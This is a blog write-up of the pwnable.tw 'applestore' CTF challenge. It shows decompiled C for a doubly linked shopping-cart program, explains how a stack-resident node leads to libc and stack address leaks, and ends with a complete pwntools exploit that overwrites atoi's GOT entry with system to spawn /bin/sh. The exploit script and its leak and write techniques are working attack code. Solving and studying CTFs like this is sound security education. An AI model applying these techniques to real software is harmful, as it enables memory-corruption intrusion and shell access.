BACK TO ALL BLOGS

applestore - pwnable.tw

2/22/2026
Binary Exploitpwnable.tw

Challenge Description

File type

bash
1$ file applestore
2applestore: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter ./ld-2.23.so, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not stripped

Binary Protection

bash
1$ checksec applestore
2[*] './applestore'
3 Arch: i386-32-little
4 RELRO: Partial RELRO
5 Stack: Canary found
6 NX: NX enabled
7 PIE: No PIE (0x8046000)
8 Stripped: No

Background

  • applestore is a shopping management system allowing user to interact with products and their shopping cart through these following operations:
    • List all available products
    • Add a product into user's shopping cart
    • Remove a product from shopping cart
    • List all added products in shopping cart
    • Checkout
plaintext
1=== Menu ===
21: Apple Store
32: Add into your shopping cart
43: Remove from your shopping cart
54: List your shopping cart
65: Checkout
76: Exit
8> 1
9=== Device List ===
101: iPhone 6 - $199
112: iPhone 6 Plus - $299
123: iPad Air 2 - $499
134: iPad Mini 3 - $399
145: iPod Touch - $199
15> 2
16Device Number> 1
17You've put *iPhone 6* in your shopping cart.
18Brilliant! That's an amazing idea.
19> 4
20Let me check your cart. ok? (y/n) > y
21==== Cart ====
221: iPhone 6 - $199
23>
  • Here are some important functions which are responsible for those opertions:

    • add() function to add a product into cart
    c
    1unsigned int add()
    2{
    3 const char **productNode; // [esp+1Ch] [ebp-2Ch]
    4 char buffer[22]; // [esp+26h] [ebp-22h] BYREF
    5 unsigned int canary; // [esp+3Ch] [ebp-Ch]
    6
    7 canary = __readgsdword(0x14u);
    8 printf("Device Number> ");
    9 fflush(stdout);
    10 my_read((int)buffer, 21);
    11 switch ( atoi(buffer) )
    12 {
    13 case 1:
    14 productNode = (const char **)create("iPhone 6", 199);
    15 insert(productNode);
    16 goto LABEL_8;
    17 case 2:
    18 productNode = (const char **)create("iPhone 6 Plus", 299);
    19 insert(productNode);
    20 goto LABEL_8;
    21 case 3:
    22 productNode = (const char **)create("iPad Air 2", 499);
    23 insert(productNode);
    24 goto LABEL_8;
    25 case 4:
    26 productNode = (const char **)create("iPad Mini 3", 399);
    27 insert(productNode);
    28 goto LABEL_8;
    29 case 5:
    30 productNode = (const char **)create("iPod Touch", 199);
    31 insert(productNode);
    32LABEL_8:
    33 printf("You've put *%s* in your shopping cart.\n", *productNode);
    34 puts("Brilliant! That's an amazing idea.");
    35 break;
    36 default:
    37 puts("Stop doing that. Idiot!");
    38 break;
    39 }
    40 return __readgsdword(0x14u) ^ canary;
    41}
    • delete() function to remove a product from cart
    c
    1unsigned int delete()
    2{
    3 int currentIndex; // [esp+10h] [ebp-38h]
    4 int currentPtr; // [esp+14h] [ebp-34h]
    5 int targetIndex; // [esp+18h] [ebp-30h]
    6 int nextPtr; // [esp+1Ch] [ebp-2Ch]
    7 int previousPtr; // [esp+20h] [ebp-28h]
    8 char buffer[22]; // [esp+26h] [ebp-22h] BYREF
    9 unsigned int canary; // [esp+3Ch] [ebp-Ch]
    10
    11 canary = __readgsdword(0x14u);
    12 currentIndex = 1;
    13 currentPtr = dword_804B070; // (*myCart).next
    14 printf("Item Number> ");
    15 fflush(stdout);
    16 my_read((int)buffer, 21);
    17 targetIndex = atoi(buffer);
    18 while ( currentPtr )
    19 {
    20 if ( currentIndex == targetIndex )
    21 {
    22 nextPtr = *(_DWORD *)(currentPtr + 8);
    23 previousPtr = *(_DWORD *)(currentPtr + 12);
    24 if ( previousPtr )
    25 *(_DWORD *)(previousPtr + 8) = nextPtr;
    26 if ( nextPtr )
    27 *(_DWORD *)(nextPtr + 12) = previousPtr;
    28 printf("Remove %d:%s from your shopping cart.\n", currentIndex, *(const char **)currentPtr);
    29 return __readgsdword(0x14u) ^ canary;
    30 }
    31 ++currentIndex;
    32 currentPtr = *(_DWORD *)(currentPtr + 8);
    33 }
    34 return __readgsdword(0x14u) ^ canary;
    35}
    • cart() function to list all added products in cart
    c
    1int cart()
    2{
    3 int index; // eax
    4 int currentIndex; // [esp+18h] [ebp-30h]
    5 int totalPrice; // [esp+1Ch] [ebp-2Ch]
    6 int i; // [esp+20h] [ebp-28h]
    7 char buffer[22]; // [esp+26h] [ebp-22h] BYREF
    8 unsigned int canary; // [esp+3Ch] [ebp-Ch]
    9
    10 canary = __readgsdword(0x14u);
    11 currentIndex = 1;
    12 totalPrice = 0;
    13 printf("Let me check your cart. ok? (y/n) > ");
    14 fflush(stdout);
    15 my_read((int)buffer, 21);
    16 if ( buffer[0] == 'y' )
    17 {
    18 puts("==== Cart ====");
    19 for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
    20 {
    21 index = currentIndex++;
    22 printf("%d: %s - $%d\n", index, *(const char **)i, *(_DWORD *)(i + 4));
    23 totalPrice += *(_DWORD *)(i + 4);
    24 }
    25 }
    26 return totalPrice;
    27}
    • checkout() function to checkout the cart
    c
    1unsigned int checkout()
    2{
    3 int totalPrice; // [esp+10h] [ebp-28h]
    4 _DWORD *productName; // [esp+18h] [ebp-20h] BYREF
    5 int price; // [esp+1Ch] [ebp-1Ch]
    6 unsigned int canary; // [esp+2Ch] [ebp-Ch]
    7
    8 canary = __readgsdword(0x14u);
    9 totalPrice = cart();
    10 if ( totalPrice == 7174 )
    11 {
    12 puts("*: iPhone 8 - $1");
    13 asprintf(&productName, "%s", "iPhone 8");
    14 price = 1;
    15 insert((int)&productName);
    16 totalPrice = 7175;
    17 }
    18 printf("Total: $%d\n", totalPrice);
    19 puts("Want to checkout? Maybe next time!");
    20 return __readgsdword(0x14u) ^ canary;
    21}
  • The special thing is that this program manages your cart through a Double Linked List. Each node is about a product added to cart. That structure can be shown by struct in C code:

c
1struct Node {
2 char *productName;
3 int price;
4 struct Node *next;
5 struct Node *previous;
6};
  • This Node struct is controlled by 2 functions:

    • create() function which dynamically allocates a new Node
    c
    1_DWORD *__cdecl create(const char *productName, int price)
    2{
    3 _DWORD *ptr; // [esp+1Ch] [ebp-Ch]
    4
    5 ptr = (_DWORD *)malloc(16);
    6 ptr[1] = price;
    7 asprintf(ptr, "%s", productName);
    8 ptr[2] = 0;
    9 ptr[3] = 0;
    10 return ptr;
    11}
    • insert() function which inserts a Node into an existed Double Linked List
    c
    1int __cdecl insert(int productNode)
    2{
    3 int result; // eax
    4 _DWORD *i; // [esp+Ch] [ebp-4h]
    5
    6 for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    7 ;
    8 i[2] = productNode;
    9 result = productNode;
    10 *(_DWORD *)(productNode + 12) = i;
    11 return result;
    12}

Vulnerability

  • In checkout() function, if the total price is equal to 7174, a special node will be created and saved on stack. It then is inserted into the global Double Linked List.
  • When analyzing call other functions, they all have a buffer array of char and a segment of buffer array matches productName property of Node. Moreover, cart() function allow to user to input more than 1 character for confirmation. Therefore, we can leverage this vulnerability to leak memory address.

Exploitation

Create the special node

  • I calculated that 7174 = 199 * 19 + 399 + 499 * 6. Therefore, I just need to perform add operation corresponding that result and then call checkout() to create the special node.

Leak Libc

  • To leak the base address of libc, we exploit the above vulnerbility, call cart() function and input a confirmation string including the address of a function in GOTS. After the program list all products in cart with their name, it will print out the address of that libc function.

Leak Stack Address

  • After having base address of libc, we evaluate the address of environ symbol which points to an array of strings on stack containing environment variables. Do the same technique to leak libc, the program will print out the address of that array on stack and we leaked stack address.

Get Shell

  • We call delete() function to do arbitrary write, write the address in GOTS into ebp register. So that, in handler() function, we can do arbitrary write again into a function in GOTS. I chose atoi() function and replace with the address of system() function and the /bin/sh script.

Exploit Code

python
1#!/usr/bin/env python
2from pwn import *
3import utils
4
5context.terminal = ['kitten', '@', 'launch', '--type=os-window']
6context.log_level = "debug"
7context.arch = "i386"
8
9TARGET = "./bin/applestore"
10LIBC = "./lib/libc_32.so.6"
11
12target = process(TARGET)
13target = remote("chall.pwnable.tw", 10104)
14# gdb.attach(target, gdbscript="break *(delete + 115)")
15
16exe = ELF(TARGET)
17libc = ELF(LIBC)
18
19# myCart = 0x804b068
20
21# 7174 = 199 * 19 + 399 + 499 * 6
22
23def add(index: int):
24 target.sendafter(b"> ", b"2")
25 target.sendafter(b"Device Number> ", str(index).encode())
26
27def delete(index: int, data: bytes = b""):
28 target.sendafter(b"> ", b"3")
29 target.sendafter(b"Item Number> ", str(index).encode() + data)
30
31def cart(confirmation: bytes = b"y"):
32 target.sendafter(b"> ", b"4")
33 target.sendafter(b"> ", confirmation)
34
35def checkout():
36 target.sendafter(b"> ", b"5")
37 target.sendafter(b"> ", b"y")
38
39# 7174 = 199 * 19 + 399 + 499 * 6
40for _ in range(19):
41 add(1)
42
43add(4)
44
45for _ in range(6):
46 add(3)
47
48checkout()
49
50# Leak Libc
51read_got = exe.got['read']
52payload = b"y" * 2 + p32(read_got) + b"\x00" * 12
53cart(payload)
54target.recvuntil(b"27: ")
55read_addr = u32(target.recv(4))
56libc.address = read_addr - libc.symbols['read']
57
58# Leak Stack
59environ_addr = libc.symbols['environ']
60payload = b"y" * 2 + p32(environ_addr) + b"\x00" * 12
61cart(payload)
62target.recvuntil(b"27: ")
63saved_ebp_addr = u32(target.recv(4)) - 0x104
64
65offset_22_from_atoi_got = 0x804b062
66payload = p32(environ_addr) + b"\x00" * 4 + p32(offset_22_from_atoi_got) + p32(saved_ebp_addr - 8)
67delete(27, payload)
68
69system_addr = libc.symbols['system']
70payload = p32(system_addr) + b"|| /bin/sh"
71target.sendafter(b"> ", payload)
72
73target.interactive()